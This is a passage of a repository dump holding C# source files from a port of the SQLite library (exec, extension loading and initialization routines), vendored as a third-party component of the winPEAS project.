exec_out;\n              }\n              for ( i = 0 ; i < nCol ; i++ )\n              {\n                azCols[i] = sqlite3_column_name( pStmt, i );\n                /* sqlite3VdbeSetColName() installs column names as UTF8\n                ** strings so there is no way for sqlite3_column_name() to fail. */\n                Debug.Assert( azCols[i] != null );\n              }\n              callbackIsInit = 1;\n            }\n            if ( rc == SQLITE_ROW )\n            {\n              azVals = new string[nCol];// azCols[nCol];\n              for ( i = 0 ; i < nCol ; i++ )\n              {\n                azVals[i] = sqlite3_column_text( pStmt, i );\n                if ( azVals[i] == null && sqlite3_column_type( pStmt, i ) != SQLITE_NULL )\n                {\n          ////        db.mallocFailed = 1;\n                  goto exec_out;\n                }\n              }\n            }\n            if ( xCallback( pArg, nCol, azVals, azCols ) != 0 )\n            {\n              rc = SQLITE_ABORT;\n              sqlite3VdbeFinalize( pStmt );\n              pStmt = null;\n              sqlite3Error( db, SQLITE_ABORT, 0 );\n              goto exec_out;\n            }\n          }\n\n          if ( rc != SQLITE_ROW )\n          {\n            rc = sqlite3VdbeFinalize( pStmt );\n            pStmt = null;\n            if ( rc != SQLITE_SCHEMA )\n            {\n              nRetry = 0;\n              if ( ( zSql = zLeftover ) != \"\" )\n              {\n                int zindex = 0;\n                while ( zindex < zSql.Length && sqlite3Isspace( zSql[zindex] ) ) zindex++;\n                if ( zindex != 0 ) zSql = zindex < zSql.Length ? zSql.Substring( zindex ) : \"\";\n              }\n            }\n            break;\n          }\n        }\n\n        //sqlite3DbFree( db, ref  azCols );\n        azCols = null;\n      }\n\nexec_out:\n      if ( pStmt != null ) sqlite3VdbeFinalize( pStmt );\n      //sqlite3DbFree( db, ref  azCols );\n\n      rc = sqlite3ApiExit( db, rc );\n      if ( rc != SQLITE_OK && ALWAYS( rc == sqlite3_errcode( db ) ) && pzErrMsg != null )\n      {\n        //int nErrMsg = 1 + sqlite3Strlen30(sqlite3_errmsg(db));\n        //pzErrMsg = sqlite3Malloc(nErrMsg);\n        //if (pzErrMsg)\n        //{\n        //   memcpy(pzErrMsg, sqlite3_errmsg(db), nErrMsg);\n        //}else{\n        //rc = SQLITE_NOMEM;\n        //sqlite3Error(db, SQLITE_NOMEM, 0);\n        //}\n        pzErrMsg = sqlite3_errmsg( db );\n      }\n      else if ( pzErrMsg != \"\" )\n      {\n        pzErrMsg = \"\";\n      }\n\n      Debug.Assert( ( rc & db.errMask ) == rc );\n      sqlite3_mutex_leave( db.mutex );\n      return rc;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/loadext_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing HANDLE = System.IntPtr;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2006 June 7\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains code used to dynamically load extensions into\n    ** the SQLite library.\n    **\n    ** $Id: loadext.c,v 1.60 2009/06/03 01:24:54 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n#if !SQLITE_CORE\n    //#define SQLITE_CORE 1  /* Disable the API redefinition in sqlite3ext.h */\n    const int SQLITE_CORE = 1;\n#endif\n    //#include \"sqlite3ext.h\"\n    //#include \"sqliteInt.h\"\n    //#include <string.h>\n\n#if !SQLITE_OMIT_LOAD_EXTENSION\n\n    /*\n** Some API routines are omitted when various features are\n** excluded from a build of SQLite.  Substitute a NULL pointer\n** for any missing APIs.\n*/\n#if !SQLITE_ENABLE_COLUMN_METADATA\n    //# define sqlite3_column_database_name   0\n    //# define sqlite3_column_database_name16 0\n    //# define sqlite3_column_table_name      0\n    //# define sqlite3_column_table_name16    0\n    //# define sqlite3_column_origin_name     0\n    //# define sqlite3_column_origin_name16   0\n    //# define sqlite3_table_column_metadata  0\n#endif\n\n#if SQLITE_OMIT_AUTHORIZATION\n    //# define sqlite3_set_authorizer         0\n#endif\n\n#if SQLITE_OMIT_UTF16\n    //# define sqlite3_bind_text16            0\n    //# define sqlite3_collation_needed16     0\n    //# define sqlite3_column_decltype16      0\n    //# define sqlite3_column_name16          0\n    //# define sqlite3_column_text16          0\n    //# define sqlite3_complete16             0\n    //# define sqlite3_create_collation16     0\n    //# define sqlite3_create_function16      0\n    //# define sqlite3_errmsg16               0\n    static string sqlite3_errmsg16( sqlite3 db ) { return \"\"; }\n    //# define sqlite3_open16                 0\n    //# define sqlite3_prepare16              0\n    //# define sqlite3_prepare16_v2           0\n    //# define sqlite3_result_error16         0\n    //# define sqlite3_result_text16          0\n    static void sqlite3_result_text16( sqlite3_context pCtx, string z, int n, dxDel xDel ) { }\n    //# define sqlite3_result_text16be        0\n    //# define sqlite3_result_text16le        0\n    //# define sqlite3_value_text16           0\n    //# define sqlite3_value_text16be         0\n    //# define sqlite3_value_text16le         0\n    //# define sqlite3_column_database_name16 0\n    //# define sqlite3_column_table_name16    0\n    //# define sqlite3_column_origin_name16   0\n#endif\n\n#if SQLITE_OMIT_COMPLETE\n//# define sqlite3_complete 0\n//# define sqlite3_complete16 0\n#endif\n\n#if SQLITE_OMIT_PROGRESS_CALLBACK\n//# define sqlite3_progress_handler 0\nstatic void sqlite3_progress_handler (sqlite3 db,       int nOps, dxProgress xProgress, object pArg){}\n#endif\n\n#if SQLITE_OMIT_VIRTUALTABLE\n    //# define sqlite3_create_module 0\n    //# define sqlite3_create_module_v2 0\n    //# define sqlite3_declare_vtab 0\n#endif\n\n#if SQLITE_OMIT_SHARED_CACHE\n    //# define sqlite3_enable_shared_cache 0\n#endif\n\n#if SQLITE_OMIT_TRACE\n//# define sqlite3_profile       0\n//# define sqlite3_trace         0\n#endif\n\n#if SQLITE_OMIT_GET_TABLE\n    //# define //sqlite3_free_table    0\n    //# define sqlite3_get_table     0\n    public static int sqlite3_get_table(\n    sqlite3 db,             /* An open database */\n    string zSql,            /* SQL to be evaluated */\n    ref string[] pazResult, /* Results of the query */\n    ref int pnRow,          /* Number of result rows written here */\n    ref int pnColumn,       /* Number of result columns written here */\n    ref string pzErrmsg     /* Error msg written here */\n    ) { return 0; }\n#endif\n\n#if SQLITE_OMIT_INCRBLOB\n    //#define sqlite3_bind_zeroblob  0\n    //#define sqlite3_blob_bytes     0\n    //#define sqlite3_blob_close     0\n    //#define sqlite3_blob_open      0\n    //#define sqlite3_blob_read      0\n    //#define sqlite3_blob_write     0\n#endif\n\n    /*\n** The following structure contains pointers to all SQLite API routines.\n** A pointer to this structure is passed into extensions when they are\n** loaded so that the extension can make calls back into the SQLite\n** library.\n**\n** When adding new APIs, add them to the bottom of this structure\n** in order to preserve backwards compatibility.\n**\n** Extensions that use newer APIs should first call the\n** sqlite3_libversion_number() to make sure that the API they\n** intend to use is supported by the library.  Extensions should\n** also check to make sure that the pointer to the function is\n** not NULL before calling it.\n*/\n    static sqlite3_api_routines sqlite3Apis = new sqlite3_api_routines();\n    //{\n    //  sqlite3_aggregate_context,\n#if !SQLITE_OMIT_DEPRECATED\n    /  sqlite3_aggregate_count,\n#else\n//  0,\n#endif\n    //  sqlite3_bind_blob,\n    //  sqlite3_bind_double,\n    //  sqlite3_bind_int,\n    //  sqlite3_bind_int64,\n    //  sqlite3_bind_null,\n    //  sqlite3_bind_parameter_count,\n    //  sqlite3_bind_parameter_index,\n    //  sqlite3_bind_parameter_name,\n    //  sqlite3_bind_text,\n    //  sqlite3_bind_text16,\n    //  sqlite3_bind_value,\n    //  sqlite3_busy_handler,\n    //  sqlite3_busy_timeout,\n    //  sqlite3_changes,\n    //  sqlite3_close,\n    //  sqlite3_collation_needed,\n    //  sqlite3_collation_needed16,\n    //  sqlite3_column_blob,\n    //  sqlite3_column_bytes,\n    //  sqlite3_column_bytes16,\n    //  sqlite3_column_count,\n    //  sqlite3_column_database_name,\n    //  sqlite3_column_database_name16,\n    //  sqlite3_column_decltype,\n    //  sqlite3_column_decltype16,\n    //  sqlite3_column_double,\n    //  sqlite3_column_int,\n    //  sqlite3_column_int64,\n    //  sqlite3_column_name,\n    //  sqlite3_column_name16,\n    //  sqlite3_column_origin_name,\n    //  sqlite3_column_origin_name16,\n    //  sqlite3_column_table_name,\n    //  sqlite3_column_table_name16,\n    //  sqlite3_column_text,\n    //  sqlite3_column_text16,\n    //  sqlite3_column_type,\n    //  sqlite3_column_value,\n    //  sqlite3_commit_hook,\n    //  sqlite3_complete,\n    //  sqlite3_complete16,\n    //  sqlite3_create_collation,\n    //  sqlite3_create_collation16,\n    //  sqlite3_create_function,\n    //  sqlite3_create_function16,\n    //  sqlite3_create_module,\n    //  sqlite3_data_count,\n    //  sqlite3_db_handle,\n    //  sqlite3_declare_vtab,\n    //  sqlite3_enable_shared_cache,\n    //  sqlite3_errcode,\n    //  sqlite3_errmsg,\n    //  sqlite3_errmsg16,\n    //  sqlite3_exec,\n#if !SQLITE_OMIT_DEPRECATED\n    //sqlite3_expired,\n#else\n//0,\n#endif\n    //  sqlite3_finalize,\n    //  //sqlite3_free,\n    //  //sqlite3_free_table,\n    //  sqlite3_get_autocommit,\n    //  sqlite3_get_auxdata,\n    //  sqlite3_get_table,\n    //  0,     /* Was sqlite3_global_recover(), but that function is deprecated */\n    //  sqlite3_interrupt,\n    //  sqlite3_last_insert_rowid,\n    //  sqlite3_libversion,\n    //  sqlite3_libversion_number,\n    //  sqlite3_malloc,\n    //  sqlite3_mprintf,\n    //  sqlite3_open,\n    //  sqlite3_open16,\n    //  sqlite3_prepare,\n    //  sqlite3_prepare16,\n    //  sqlite3_profile,\n    //  sqlite3_progress_handler,\n    //  sqlite3_realloc,\n    //  sqlite3_reset,\n    //  sqlite3_result_blob,\n    //  sqlite3_result_double,\n    //  sqlite3_result_error,\n    //  sqlite3_result_error16,\n    //  sqlite3_result_int,\n    //  sqlite3_result_int64,\n    //  sqlite3_result_null,\n    //  sqlite3_result_text,\n    //  sqlite3_result_text16,\n    //  sqlite3_result_text16be,\n    //  sqlite3_result_text16le,\n    //  sqlite3_result_value,\n    //  sqlite3_rollback_hook,\n    //  sqlite3_set_authorizer,\n    //  sqlite3_set_auxdata,\n    //  sqlite3_snprintf,\n    //  sqlite3_step,\n    //  sqlite3_table_column_metadata,\n#if !SQLITE_OMIT_DEPRECATED\n    //sqlite3_thread_cleanup,\n#else\n//  0,\n#endif\n    //  sqlite3_total_changes,\n    //  sqlite3_trace,\n#if !SQLITE_OMIT_DEPRECATED\n    //sqlite3_transfer_bindings,\n#else\n//  0,\n#endif\n    //  sqlite3_update_hook,\n    //  sqlite3_user_data,\n    //  sqlite3_value_blob,\n    //  sqlite3_value_bytes,\n    //  sqlite3_value_bytes16,\n    //  sqlite3_value_double,\n    //  sqlite3_value_int,\n    //  sqlite3_value_int64,\n    //  sqlite3_value_numeric_type,\n    //  sqlite3_value_text,\n    //  sqlite3_value_text16,\n    //  sqlite3_value_text16be,\n    //  sqlite3_value_text16le,\n    //  sqlite3_value_type,\n    //  sqlite3_vmprintf,\n    //  /*\n    //  ** The original API set ends here.  All extensions can call any\n    //  ** of the APIs above provided that the pointer is not NULL.  But\n    //  ** before calling APIs that follow, extension should check the\n    //  ** sqlite3_libversion_number() to make sure they are dealing with\n    //  ** a library that is new enough to support that API.\n    //  *************************************************************************\n    //  */\n    //  sqlite3_overload_function,\n\n    //  /*\n    //  ** Added after 3.3.13\n    //  */\n    //  sqlite3_prepare_v2,\n    //  sqlite3_prepare16_v2,\n    //  sqlite3_clear_bindings,\n\n    //  /*\n    //  ** Added for 3.4.1\n    //  */\n    //  sqlite3_create_module_v2,\n\n    //  /*\n    //  ** Added for 3.5.0\n    //  */\n    //  sqlite3_bind_zeroblob,\n    //  sqlite3_blob_bytes,\n    //  sqlite3_blob_close,\n    //  sqlite3_blob_open,\n    //  sqlite3_blob_read,\n    //  sqlite3_blob_write,\n    //  sqlite3_create_collation_v2,\n    //  sqlite3_file_control,\n    //  sqlite3_memory_highwater,\n    //  sqlite3_memory_used,\n#if SQLITE_MUTEX_OMIT\n    //  0,\n    //  0,\n    //  0,\n    //  0,\n    //  0,\n#else\n//  sqlite3MutexAlloc,\n//  sqlite3_mutex_enter,\n//  sqlite3_mutex_free,\n//  sqlite3_mutex_leave,\n//  sqlite3_mutex_try,\n#endif\n    //  sqlite3_open_v2,\n    //  sqlite3_release_memory,\n    //  sqlite3_result_error_nomem,\n    //  sqlite3_result_error_toobig,\n    //  sqlite3_sleep,\n    //  sqlite3_soft_heap_limit,\n    //  sqlite3_vfs_find,\n    //  sqlite3_vfs_register,\n    //  sqlite3_vfs_unregister,\n\n    //  /*\n    //  ** Added for 3.5.8\n    //  */\n    //  sqlite3_threadsafe,\n    //  sqlite3_result_zeroblob,\n    //  sqlite3_result_error_code,\n    //  sqlite3_test_control,\n    //  sqlite3_randomness,\n    //  sqlite3_context_db_handle,\n\n    //  /*\n    //  ** Added for 3.6.0\n    //  */\n    //  sqlite3_extended_result_codes,\n    //  sqlite3_limit,\n    //  sqlite3_next_stmt,\n    //  sqlite3_sql,\n    //  sqlite3_status,\n    //};\n\n    /*\n    ** Attempt to load an SQLite extension library contained in the file\n    ** zFile.  The entry point is zProc.  zProc may be 0 in which case a\n    ** default entry point name (sqlite3_extension_init) is used.  Use\n    ** of the default name is recommended.\n    **\n    ** Return SQLITE_OK on success and SQLITE_ERROR if something goes wrong.\n    **\n    ** If an error occurs and pzErrMsg is not 0, then fill pzErrMsg with\n    ** error message text.  The calling function should free this memory\n    ** by calling //sqlite3DbFree(db, ).\n    */\n    static int sqlite3LoadExtension(\n    sqlite3 db,           /* Load the extension into this database connection */\n    string zFile,         /* Name of the shared library containing extension */\n    string zProc,         /* Entry point.  Use \"sqlite3_extension_init\" if 0 */\n    ref string pzErrMsg   /* Put error message here if not 0 */\n    )\n    {\n      sqlite3_vfs pVfs = db.pVfs;\n      HANDLE handle;\n      dxInit xInit; //int (*xInit)(sqlite3*,char**,const sqlite3_api_routines*);\n      string zErrmsg = \"\";\n      //object aHandle;\n      const int nMsg = 300;\n      if ( pzErrMsg != null ) pzErrMsg = null;\n\n\n      /* Ticket #1863.  To avoid a creating security problems for older\n      ** applications that relink against newer versions of SQLite, the\n      ** ability to run load_extension is turned off by default.  One\n      ** must call sqlite3_enable_load_extension() to turn on extension\n      ** loading.  Otherwise you get the following error.\n      */\n      if ( ( db.flags & SQLITE_LoadExtension ) == 0 )\n      {\n        //if( pzErrMsg != null){\n        pzErrMsg = sqlite3_mprintf( \"not authorized\" );\n        //}\n        return SQLITE_ERROR;\n      }\n\n      if ( zProc == null || zProc == \"\" )\n      {\n        zProc = \"sqlite3_extension_init\";\n      }\n\n      handle = sqlite3OsDlOpen( pVfs, zFile );\n      if ( handle == IntPtr.Zero )\n      {\n        //    if( pzErrMsg ){\n        zErrmsg = \"\";//zErrmsg = sqlite3StackAllocZero(db, nMsg);\n        //if( zErrmsg !=null){\n        sqlite3_snprintf( nMsg, ref zErrmsg,\n        \"unable to open shared library [%s]\", zFile );\n        sqlite3OsDlError( pVfs, nMsg - 1, ref zErrmsg );\n        pzErrMsg = zErrmsg;// sqlite3DbStrDup( 0, zErrmsg );\n        //sqlite3StackFree( db, zErrmsg );\n        //}\n        return SQLITE_ERROR;\n      }\n      //xInit = (int(*)(sqlite3*,char**,const sqlite3_api_routines*))\n      //                 sqlite3OsDlSym(pVfs, handle, zProc);\n      xInit = (dxInit)sqlite3OsDlSym( pVfs, handle, ref  zProc );\n      Debugger.Break(); // TODO --\n      //if( xInit==0 ){\n      //  if( pzErrMsg ){\n      //    zErrmsg = sqlite3StackAllocZero(db, nMsg);\n      //    if( zErrmsg ){\n      //      sqlite3_snprintf(nMsg, zErrmsg,\n      //          \"no entry point [%s] in shared library [%s]\", zProc,zFile);\n      //      sqlite3OsDlError(pVfs, nMsg-1, zErrmsg);\n      //      *pzErrMsg = sqlite3DbStrDup(0, zErrmsg);\n      //      //sqlite3StackFree(db, zErrmsg);\n      //    }\n      //    sqlite3OsDlClose(pVfs, handle);\n      //  }\n      //  return SQLITE_ERROR;\n      //  }else if( xInit(db, ref zErrmsg, sqlite3Apis) ){\n      ////    if( pzErrMsg !=null){\n      //      pzErrMsg = sqlite3_mprintf(\"error during initialization: %s\", zErrmsg);\n      //    //}\n      //    //sqlite3DbFree(db,ref zErrmsg);\n      //    sqlite3OsDlClose(pVfs, ref handle);\n      //    return SQLITE_ERROR;\n      //  }\n\n      //  /* Append the new shared library handle to the db.aExtension array. */\n      //  aHandle = sqlite3DbMallocZero(db, sizeof(handle)*db.nExtension+1);\n      //  if( aHandle==null ){\n      //    return SQLITE_NOMEM;\n      //  }\n      //  if( db.nExtension>0 ){\n      //    memcpy(aHandle, db.aExtension, sizeof(handle)*(db.nExtension));\n      //  }\n      //  //sqlite3DbFree(db,ref db.aExtension);\n      //  db.aExtension = aHandle;\n\n      //  db.aExtension[db.nExtension++] = handle;\n      return SQLITE_OK;\n    }\n\n    public static int sqlite3_load_extension(\n    sqlite3 db,          /* Load the extension into this database connection */\n    string zFile,        /* Name of the shared library containing extension */\n    string zProc,        /* Entry point.  Use \"sqlite3_extension_init\" if 0 */\n    ref string pzErrMsg  /* Put error message here if not 0 */\n    )\n    {\n      int rc;\n      sqlite3_mutex_enter( db.mutex );\n      rc = sqlite3LoadExtension( db, zFile, zProc, ref pzErrMsg );\n      rc = sqlite3ApiExit( db, rc );\n      sqlite3_mutex_leave( db.mutex );\n      return rc;\n    }\n\n    /*\n    ** Call this routine when the database connection is closing in order\n    ** to clean up loaded extensions\n    */\n    static void sqlite3CloseExtensions( sqlite3 db )\n    {\n      int i;\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      for ( i = 0 ; i < db.nExtension ; i++ )\n      {\n        sqlite3OsDlClose( db.pVfs, (HANDLE)db.aExtension[i] );\n      }\n      //sqlite3DbFree( db, ref db.aExtension );\n    }\n\n    /*\n    ** Enable or disable extension loading.  Extension loading is disabled by\n    ** default so as not to open security holes in older applications.\n    */\n    public static int sqlite3_enable_load_extension( sqlite3 db, int onoff )\n    {\n      sqlite3_mutex_enter( db.mutex );\n      if ( onoff != 0 )\n      {\n        db.flags |= SQLITE_LoadExtension;\n      }\n      else\n      {\n        db.flags &= ~SQLITE_LoadExtension;\n      }\n      sqlite3_mutex_leave( db.mutex );\n      return SQLITE_OK;\n    }\n\n#endif //* SQLITE_OMIT_LOAD_EXTENSION */\n\n    /*\n** The auto-extension code added regardless of whether or not extension\n** loading is supported.  We need a dummy sqlite3Apis pointer for that\n** code if regular extension loading is not available.  This is that\n** dummy pointer.\n*/\n#if SQLITE_OMIT_LOAD_EXTENSION\nconst sqlite3_api_routines sqlite3Apis = null;\n#endif\n\n\n    /*\n** The following object holds the list of automatically loaded\n** extensions.\n**\n** This list is shared across threads.  The SQLITE_MUTEX_STATIC_MASTER\n** mutex must be held while accessing this list.\n*/\n    //typedef struct sqlite3AutoExtList sqlite3AutoExtList;\n    public class sqlite3AutoExtList\n    {\n      public int nExt = 0;            /* Number of entries in aExt[] */\n      public dxInit[] aExt = null;    /* Pointers to the extension init functions */\n      public sqlite3AutoExtList( int nExt, dxInit[] aExt ) { this.nExt = nExt; this.aExt = aExt; }\n    }\n    static sqlite3AutoExtList sqlite3Autoext = new sqlite3AutoExtList( 0, null );\n    /* The \"wsdAutoext\" macro will resolve to the autoextension\n    ** state vector.  If writable static data is unsupported on the target,\n    ** we have to locate the state vector at run-time.  In the more common\n    ** case where writable static data is supported, wsdStat can refer directly\n    ** to the \"sqlite3Autoext\" state vector declared above.\n    */\n#if SQLITE_OMIT_WSD\n//# define wsdAutoextInit \\\nsqlite3AutoExtList *x = &GLOBAL(sqlite3AutoExtList,sqlite3Autoext)\n//# define wsdAutoext x[0]\n#else\n    //# define wsdAutoextInit\n    static void wsdAutoextInit() { }\n    //# define wsdAutoext sqlite3Autoext\n    static sqlite3AutoExtList wsdAutoext = sqlite3Autoext;\n#endif\n\n    /*\n** Register a statically linked extension that is automatically\n** loaded by every new database connection.\n*/\n    static int sqlite3_auto_extension( dxInit xInit )\n    {\n      int rc = SQLITE_OK;\n#if !SQLITE_OMIT_AUTOINIT\n      rc = sqlite3_initialize();\n      if ( rc != 0 )\n      {\n        return rc;\n      }\n      else\n#endif\n      {\n        int i;\n#if SQLITE_THREADSAFE\nsqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER );\n#else\n        sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); // Need this since mutex_enter & leave are not MACROS under C#\n#endif\n        wsdAutoextInit();\n        sqlite3_mutex_enter( mutex );\n        for ( i = 0 ; i < wsdAutoext.nExt ; i++ )\n        {\n          if ( wsdAutoext.aExt[i] == xInit ) break;\n        }\n        //if( i==wsdAutoext.nExt ){\n        //  int nByte = (wsdAutoext.nExt+1)*sizeof(wsdAutoext.aExt[0]);\n        //  void **aNew;\n        //  aNew = sqlite3_realloc(wsdAutoext.aExt, nByte);\n        //  if( aNew==0 ){\n        //    rc = SQLITE_NOMEM;\n        //  }else{\n        Array.Resize( ref wsdAutoext.aExt, wsdAutoext.nExt + 1 );//        wsdAutoext.aExt = aNew;\n        wsdAutoext.aExt[wsdAutoext.nExt] = xInit;\n        wsdAutoext.nExt++;\n        //}\n        sqlite3_mutex_leave( mutex );\n        Debug.Assert( ( rc & 0xff ) == rc );\n        return rc;\n      }\n    }\n\n    /*\n    ** Reset the automatic extension loading mechanism.\n    */\n    static void sqlite3_reset_auto_extension()\n    {\n#if !SQLITE_OMIT_AUTOINIT\n      if ( sqlite3_initialize() == SQLITE_OK )\n#endif\n      {\n#if SQLITE_THREADSAFE\nsqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER );\n#else\n        sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); // Need this since mutex_enter & leave are not MACROS under C#\n#endif\n        wsdAutoextInit();\n        sqlite3_mutex_enter( mutex );\n#if SQLITE_OMIT_WSD\n//sqlite3_free( ref wsdAutoext.aExt );\nwsdAutoext.aExt = null;\nwsdAutoext.nExt = 0;\n#else\n        //sqlite3_free( ref sqlite3Autoext.aExt );\n        sqlite3Autoext.aExt = null;\n        sqlite3Autoext.nExt = 0;\n#endif\n        sqlite3_mutex_leave( mutex );\n      }\n    }\n\n    /*\n    ** Load all automatic extensions.\n    **\n    ** If anything goes wrong, set an error in the database connection.\n    */\n    static void sqlite3AutoLoadExtensions( sqlite3 db )\n    {\n      int i;\n      bool go = true;\n      dxInit xInit;//)(sqlite3*,char**,const sqlite3_api_routines*);\n\n      wsdAutoextInit();\n#if SQLITE_OMIT_WSD\nif ( wsdAutoext.nExt == 0 )\n#else\n      if ( sqlite3Autoext.nExt == 0 )\n#endif\n      {\n        /* Common case: early out without every having to acquire a mutex */\n        return;\n      }\n      for ( i = 0 ; go ; i++ )\n      {\n        string zErrmsg = \"\";\n#if SQLITE_THREADSAFE\nsqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER );\n#else\n        sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); // Need this since mutex_enter & leave are not MACROS under C#\n#endif\n        sqlite3_mutex_enter( mutex );\n        if ( i >= wsdAutoext.nExt )\n        {\n          xInit = null;\n          go = false;\n        }\n        else\n        {\n          xInit = (dxInit)\n          wsdAutoext.aExt[i];\n        }\n        sqlite3_mutex_leave( mutex );\n        zErrmsg = \"\";\n        if ( xInit != null && xInit( db, ref zErrmsg, (sqlite3_api_routines)sqlite3Apis ) != 0 )\n        {\n          sqlite3Error( db, SQLITE_ERROR,\n          \"automatic extension loading failed: %s\", zErrmsg );\n          go = false;\n        }\n        //sqlite3DbFree( db, ref zErrmsg );\n      }\n    }\n  }\n}\n\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/main_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing sqlite_int64 = System.Int64;\nusing unsigned = System.Int32;\n\nusing i16 = System.Int16;\nusing u8 = System.Byte;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n    public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** Main file for the SQLite library.  The routines in this file\n    ** implement the programmer interface to the library.  Routines in\n    ** other files are for internal use by SQLite and should not be\n    ** accessed by users of the library.\n    **\n    ** $Id: main.c,v 1.562 2009/07/20 11:32:03 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n#if  SQLITE_ENABLE_FTS3\n//# include \"fts3.h\"\n#endif\n#if SQLITE_ENABLE_RTREE\n//# include \"rtree.h\"\n#endif\n#if SQLITE_ENABLE_ICU\n//# include \"sqliteicu.h\"\n#endif\n\n    /*\n** The version of the library\n*/\n#if !SQLITE_AMALGAMATION\n    public static string sqlite3_version = SQLITE_VERSION;\n#endif\n    public static string sqlite3_libversion() { return sqlite3_version; }\n    public static int sqlite3_libversion_number() { return SQLITE_VERSION_NUMBER; }\n    public static int sqlite3_threadsafe() { return SQLITE_THREADSAFE; }\n\n#if !SQLITE_OMIT_TRACE && SQLITE_ENABLE_IOTRACE\n/*\n** If the following function pointer is not NULL and if\n** SQLITE_ENABLE_IOTRACE is enabled, then messages describing\n** I/O active are written using this function.  These messages\n** are intended for debugging activity only.\n*/\n//void (*sqlite3IoTrace)(const char*, ...) = 0;\nstatic void sqlite3IoTrace( string X, params object[] ap ) {  }\n#endif\n\n    /*\n** If the following global variable points to a string which is the\n** name of a directory, then that directory will be used to store\n** temporary files.\n**\n** See also the \"PRAGMA temp_store_directory\" SQL command.\n*/\n    static string sqlite3_temp_directory = \"\";//char *sqlite3_temp_directory = 0;\n\n    /*\n    ** Initialize SQLite.\n    **\n    ** This routine must be called to initialize the memory allocation,\n    ** VFS, and mutex subsystems prior to doing any serious work with\n    ** SQLite.  But as long as you do not compile with SQLITE_OMIT_AUTOINIT\n    ** this routine will be called automatically by key routines such as\n    ** sqlite3_open().\n    **\n    ** This routine is a no-op except on its very first call for the process,\n    ** or for the first call after a call to sqlite3_shutdown.\n    **\n    ** The first thread to call this routine runs the initialization to\n    ** completion.  If subsequent threads call this routine before the first\n    ** thread has finished the initialization process, then the subsequent\n    ** threads must block until the first thread finishes with the initialization.\n    **\n    ** The first thread might call this routine recursively.  Recursive\n    ** calls to this routine should not block, of course.  Otherwise the\n    ** initialization process would never complete.\n    **\n    ** Let X be the first thread to enter this routine.  Let Y be some other\n    ** thread.  Then while the initial invocation of this routine by X is\n    ** incomplete, it is required that:\n    **\n    **    *  Calls to this routine from Y must block until the outer-most\n    **       call by X completes.\n    **\n    **    *  Recursive calls to this routine from thread X return immediately\n    **       without blocking.\n    */\n    static int sqlite3_initialize()\n    {\n      //--------------------------------------------------------------------\n      // Under C#, Need to initialize some global structures\n      //\n      if ( opcodeProperty == null ) opcodeProperty = OPFLG_INITIALIZER;\n      if ( sqlite3GlobalConfig == null ) sqlite3GlobalConfig = sqlite3Config;\n      if ( UpperToLower == null ) UpperToLower = sqlite3UpperToLower;\n      //--------------------------------------------------------------------\n\n\n      sqlite3_mutex pMaster;            /* The main static mutex */\n      int rc;                           /* Result code */\n\n#if SQLITE_OMIT_WSD\nrc = sqlite3_wsd_init(4096, 24);\nif( rc!=SQLITE_OK ){\nreturn rc;\n}\n#endif\n      /* If SQLite is already completely initialized, then this call\n** to sqlite3_initialize() should be a no-op.  But the initialization\n** must be complete.  So isInit must not be set until the very end\n** of this routine.\n*/\n      if ( sqlite3GlobalConfig.isInit != 0 ) return SQLITE_OK;\n\n      /* Make sure the mutex subsystem is initialized.  If unable to\n      ** initialize the mutex subsystem, return early with the error.\n      ** If the system is so sick that we are unable to allocate a mutex,\n      ** there is not much SQLite is going to be able to do.\n      **\n      ** The mutex subsystem must take care of serializing its own\n      ** initialization.\n      */\n      rc = sqlite3MutexInit();\n      if ( rc != 0 ) return rc;\n\n      /* Initialize the malloc() system and the recursive pInitMutex mutex.\n      ** This operation is protected by the STATIC_MASTER mutex.  Note that\n      ** MutexAlloc() is called for a static mutex prior to initializing the\n      ** malloc subsystem - this implies that the allocation of a static\n      ** mutex must not require support from the malloc subsystem.\n      */\n      pMaster = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER );\n      sqlite3_mutex_enter( pMaster );\n      if ( sqlite3GlobalConfig.isMallocInit == 0 )\n      {\n        //rc = sqlite3MallocInit();\n      }\n      if ( rc == SQLITE_OK )\n      {\n        sqlite3GlobalConfig.isMallocInit = 1;\n        if ( sqlite3GlobalConfig.pInitMutex == null )\n        {\n          sqlite3GlobalConfig.pInitMutex = sqlite3MutexAlloc( SQLITE_MUTEX_RECURSIVE );\n          if ( sqlite3GlobalConfig.bCoreMutex && sqlite3GlobalConfig.pInitMutex == null )\n          {\n            rc = SQLITE_NOMEM;\n          }\n        }\n      }\n      if ( rc == SQLITE_OK )\n      {\n        